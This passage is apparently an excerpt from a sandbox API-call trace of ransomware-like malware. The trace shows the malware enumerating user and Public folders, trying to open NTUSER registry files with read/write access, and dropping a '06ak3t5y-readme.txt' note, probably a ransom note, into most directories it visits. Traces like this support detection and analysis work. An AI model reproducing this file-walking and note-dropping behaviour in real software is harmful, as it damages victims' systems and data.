ftLastWriteTime.dwLowDateTime=0x79bf3690, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0110.485] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0110.485] PathFindExtensionW (pszPath="ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf") returned=".blf" [0110.485] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x10150) returned 0x3880590 [0110.485] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\keecfmwgj\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.486] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3880590) returned 1 [0110.486] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c197f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c197f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0110.486] PathFindExtensionW (pszPath="ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0110.486] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x80150) returned 0x44a0020 [0110.486] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\keecfmwgj\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.486] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44a0020) returned 1 [0110.487] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c3f950, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c3f950, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0110.487] PathFindExtensionW (pszPath="ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0110.487] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x80150) returned 0x44a0020 [0110.487] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\keecfmwgj\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.488] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44a0020) returned 1 [0110.488] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7945d070, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7945d070, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0110.488] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0110.488] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040280 [0110.488] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x42) returned 0x20671d0 [0110.488] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x2068040 [0110.488] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\OneDrive\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\onedrive\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.489] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.489] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.490] CloseHandle (hObject=0x238) returned 1 [0110.490] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xd165c5a0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd165c5a0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Pictures", cAlternateFileName="")) returned 1 [0110.490] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040080 [0110.490] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x42) returned 0x2067220 [0110.490] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x2068040 [0110.490] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\pictures\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.491] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.491] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.492] CloseHandle (hObject=0x238) returned 1 [0110.492] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0110.492] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Recent", cAlternateFileName="")) returned 1 [0110.492] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0110.492] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040220 [0110.492] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x48) returned 0x2067270 [0110.492] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30ee2d8 [0110.492] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Saved Games\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\saved games\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.492] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee2d8) returned 1 [0110.492] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.493] CloseHandle (hObject=0x238) returned 1 [0110.494] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Searches", cAlternateFileName="")) returned 1 [0110.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402c0 [0110.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x42) returned 0x20672c0 [0110.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x2068040 [0110.494] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Searches\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\searches\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.494] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.494] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.495] CloseHandle (hObject=0x238) returned 1 [0110.495] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="SendTo", cAlternateFileName="")) returned 1 [0110.495] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0110.495] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0110.495] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xd16ce9c0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd16ce9c0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Videos", cAlternateFileName="")) returned 1 [0110.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400b0 [0110.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x3687298 [0110.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068040 [0110.496] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\videos\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.496] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.496] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.497] CloseHandle (hObject=0x238) returned 1 [0110.497] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xd16ce9c0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd16ce9c0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="videos", cAlternateFileName="")) returned 0 [0110.497] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.497] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x209bc00) returned 1 [0110.497] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040180) returned 1 [0110.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3beb910, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3beb910, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.497] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3beb910, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3beb910, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.498] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3beb910, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3beb910, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3bf0730, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.498] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Desktop", cAlternateFileName="")) returned 1 [0110.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040180 [0110.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3a) returned 0x36872e0 [0110.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x60) returned 0x2085fc0 [0110.498] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\desktop\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.498] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085fc0) returned 1 [0110.498] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.498] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0110.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401c0 [0110.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x3687328 [0110.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068040 [0110.498] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\documents\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.499] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.499] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.500] CloseHandle (hObject=0x238) returned 1 [0110.500] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0110.500] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040230 [0110.500] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x3687370 [0110.500] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068040 [0110.500] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Downloads\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\downloads\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.501] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.501] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.502] CloseHandle (hObject=0x238) returned 1 [0110.502] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0110.502] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402d0 [0110.502] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x36873b8 [0110.502] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068040 [0110.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Favorites\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\favorites\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.503] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.503] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.503] CloseHandle (hObject=0x238) returned 1 [0110.504] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0110.504] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040160 [0110.504] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x3687400 [0110.504] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068040 [0110.504] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\libraries\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, 